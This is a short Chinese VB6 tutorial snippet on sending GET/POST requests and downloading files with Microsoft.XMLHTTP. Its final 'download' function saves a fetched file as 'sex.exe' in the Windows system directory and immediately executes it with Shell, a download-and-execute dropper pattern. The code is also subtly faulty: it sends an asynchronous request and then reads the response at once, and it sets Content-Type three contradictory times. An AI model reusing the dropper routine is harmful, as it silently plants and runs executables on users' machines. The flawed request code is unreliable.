VB用Xml发送数据Get/Post,VB Xml发送数据Get/Post,VB Xml发送Get数据,VB Xml发送Post数据,VB Xml Get,VB Xml Post,VB XML下载,VB XML下载文件,VB XML HTTP下载文件,VB XML Post支持Byte数组 XmlPost Byte(),VB XML Flase同步,VB XML True异步,VB XML Microsoft.XMLHTTP,VB Microsoft.XMLHTTP。

VB用Xml发送数据Get/Post:

'Xml Post,支持Byte数组 XmlPost("http://127.0.0.1/test.asp", Byte())
Function XmlPost(url As String, Form) As String
    Dim Xml
    Set Xml = CreateObject("Microsoft.XMLHTTP")
    Xml.Open "Post", url, False 'Flase同步,True异步
    Xml.SetRequestHeader "Content-Type", "text/XML"
    Xml.SetRequestHeader "Content-Type", "gb2312"
    Xml.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
    Xml.send Form
    If Xml.readyState = 4 Then XmlPost = Xml.ResponseText Else XmlPost = ""
End Function

XmlPost "http://www.baidu.com", "fuck=shit&fucker=shiter"

VB XML下载文件:

Public Function GetInfo(url As String) As String
    Dim Xml As Object
    Set Xml = CreateObject("Microsoft.XMLHTTP")
    Xml.Open "GET", url, False
    Xml.send
    GetInfo = Xml.ResponseText
End Function

Private Sub Command1_Click()
    MsgBox GetInfo("http://www.baidu.com/")
End Sub

VB XML HTTP下载文件:

Function download(url) As String
    Dim e  As String
    Dim x
    e = Space(255)
    x = Left$(e, GetSystemDirectory(e, 255)) & "\sex.exe"
    Set xd = CreateObject("Microsoft.XMLHTTP")
    xd.Open "GET", url, True
    xd.send (Null)
    Set sv = CreateObject("ADODB.Stream")
    sv.Mode = 3
    sv.Type = 1
    sv.Open
    sv.Write (xd.responseBody)
    sv.SaveToFile x, 2
    Shell x
End Function

Private Sub Command1_Click()
    download ("http://127.0.0.1/x.exe")
End Sub